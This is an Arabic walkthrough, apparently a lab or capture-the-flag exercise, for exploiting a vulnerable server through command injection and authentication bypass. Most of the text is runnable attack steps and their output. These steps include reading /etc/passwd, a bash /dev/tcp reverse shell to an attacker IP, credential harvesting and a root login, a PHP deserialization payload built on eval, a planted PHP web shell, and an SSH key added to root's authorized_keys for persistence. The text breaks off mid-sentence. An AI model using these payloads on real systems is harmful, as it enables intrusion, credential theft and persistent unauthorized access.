
سكريبت البناء لـ CVE-2024-46507 و CVE-2024-46508
يوجهك هذا الدليل خلال استغلال الخادم الضعيف الذي يحتوي على ثغرات CVE-2024-46507 (حقن الأوامر) و CVE-2024-46508 (تجاوز المصادقة).
أولاً، لنصدر عنوان IP للهدف كمتغير. استبدل هذا بعنوان IP الفعلي لهدفك:
export TARGET="192.168.65.129"
لنبدأ بتحديد الخدمات المفتوحة على الهدف:
# فحص سريع أولي للمنافذ الشائعة
sudo nmap -sS -T4 $TARGET
# فحص شامل للمنافذ للتأكد من عدم تفويت أي شيء
sudo nmap -sS -p- -T4 $TARGET
# فحص مفصل للمنافذ المكتشفة مع كشف إصدار الخدمة
sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt
المخرجات المتوقعة من الفحص التفصيلي:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
Nmap scan report for 192.168.65.129
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
| 256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
|_ 256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9000/tcp open http SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Vulnerable Application
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
MAC Address: 00:0C:29:AD:B8:5D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
دعنا نستكشف تطبيق الويب على المنافذ المكتشفة:
# التحقق من المنفذ 80 (Apache)
firefox http://$TARGET/
# التحقق من المنفذ 9000 (خادم Python SimpleHTTP)
firefox http://$TARGET:9000/
كلاهما يشير إلى نفس محتوى التطبيق. دعنا نكتشف المزيد حول هيكل التطبيق:
# استخدام gobuster للعثور على الدلائل والملفات
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
المخرجات المتوقعة:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.65.129
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 805]
/api (Status: 301) [Size: 0] [--> /api/]
دعنا نتحقق مما يوجد في دليل API:
# استخدام gobuster للعثور على نقاط نهاية API
gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
أو يمكنك فقط فتحه في المتصفح.
المخرجات المتوقعة:
/process.php (Status: 200)
من استطلاعنا، اكتشفنا نقطة نهاية /api/process.php. تعرض واجهة الويب نموذجًا يرسل إلى هذه النقطة النهائية مع معامل "command".
دعنا نختبر حقن الأوامر:
# الاختبار بأمر بسيط
curl "http://$TARGET:9000/api/process.php?command=id"
المخرجات المتوقعة:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
نجاح! التطبيق ينفذ أوامرنا. دعنا نتحقق مما يمكننا الوصول إليه أيضًا:
# سرد محتويات الدليل
curl "http://$TARGET/api/process.php?command=ls+-la"
# استكشاف النظام
curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"
الإخراج:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false
الآن، دعنا نحصل على شل عكسي. أولاً، قم بإعداد مستمع على جهاز Kali الخاص بك:
# بدء مستمع netcat
nc -lvnp 4444
ثم، أرسل أمر شل عكسي:
# ترميز عنوان URL لحمولة الشل العكسي
# الأصلي: bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
# استبدل YOUR_KALI_IP بعنوان IP الفعلي لجهاز Kali الخاص بك
curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php
يجب أن تحصل الآن على شل كمستخدم www-data! دعنا نرقيه إلى شل أفضل:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# اضغط Ctrl+Z لوضع الشل في الخلفية
# ثم في طرفية Kali الخاصة بك:
stty raw -echo; fg
# اضغط Enter مرتين
الآن بعد أن حصلنا على شل، دعنا نتحقق من الملفات الحساسة:
# التحقق من إعدادات التطبيق
cat /opt/vulnerable-app/config/app.conf
cat /opt/vulnerable-app/config/auth.conf
نكتشف بيانات اعتماد افتراضية:
دعنا نتحقق من بيانات اعتماد قاعدة البيانات:
# البحث عن بيانات اعتماد قاعدة البيانات
find /opt/vulnerable-app -type f -exec grep -l "password" {} \;
يجب أن يكشف هذا عن تفاصيل اتصال قاعدة البيانات. دعنا نصل إلى قاعدة البيانات:
# الاتصال بـ MariaDB
mysql -u vulnuser -p'password123' vulnapp
بمجرد الاتصال، دعنا نستكشف قاعدة البيانات:
-- عرض الجداول
SHOW TABLES;
-- عرض جدول المستخدمين
SELECT * FROM users;
يجب أن نجد مستخدمًا إداريًا بكلمة مرور "supersecretpassword". دعنا نحاول استخدام هذا للحصول على وصول جذر:
# محاولة التبديل إلى الجذر
su root
# أدخل كلمة المرور: supersecretpassword
إذا لم تنجح طريقة su، دعنا نتحقق من ناقلات تصعيد الامتيازات الأخرى:
# التحقق من صلاحيات sudo
sudo -l
# التحقق من ثنائيات SUID
find / -perm -u=s -type f 2>/dev/null
# التحقق من مهام cron
cat /etc/crontab
ls -la /etc/cron*
هناك طريقة إضافية وهي محاولة الوصول عبر SSH باستخدام بيانات الاعتماد المكتشفة:
# من جهاز Kali الخاص بك
ssh root@$TARGET
# أدخل كلمة المرور: supersecretpassword
بمجرد حصولنا على وصول جذر، يجب أن نجد العلم:
# البحث عن ملفات العلم
find / -name "*.txt" 2>/dev/null | grep -v "proc"
# قراءة العلم
cat /root/flag.txt
المخرجات المتوقعة:
f1a9d4c2b7e35680d2f1a9c3b7d45e80
التطبيق أيضًا عرضة لهجمات إلغاء تسلسل PHP. دعنا ننشئ كائنًا متسلسلاً ضارًا:
<?php
// احفظ كـ exploit.php على جهاز Kali الخاص بك
class Exploit {
public $command = 'system("cat /root/flag.txt");';
public function __destruct() {
eval($this->command);
}
}
$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>
إنشاء الحمولة:
php exploit.php
سيؤدي هذا إلى إخراج كائن متسلسل مشفر بـ base64. دعنا نرسله إلى الخادم:
# احفظ المخرجات من الأمر السابق كـ PAYLOAD
curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php
يجب أن ينفذ الخادم الكود الخاص بنا ويعرض العلم.
للحصول على موطئ قدم أكثر ديمومة، يمكننا إنشاء شل ويب:
# كمستخدم www-data، قم بإنشاء شل ويب PHP
echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php
# الوصول من Kali
curl "http://$TARGET/shell.php?cmd=id"
يمكننا أيضًا إضافة مفتاح SSH للوصول الجذر الدائم:
# على Kali، قم بإنشاء زوج مفاتيح SSH
ssh-keygen -t rsa -f vulnserver_key
# على الهدف كجذر، أضف مفتاحنا العام
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# ثم الاتصال من Kali
ssh -i vulnserver_key root@$TARGET
كان هذا الخادم عرضة لمشكلتين رئيسيتين:
CVE-2024-46507: ثغرة حقن الأوامر في نقطة نهاية API process.php والتي سمحت لنا بتنفيذ أوامر عشوائية.
CVE-2024-46508: تجاوز المصادقة وتصعيد الامتيازات بسبب: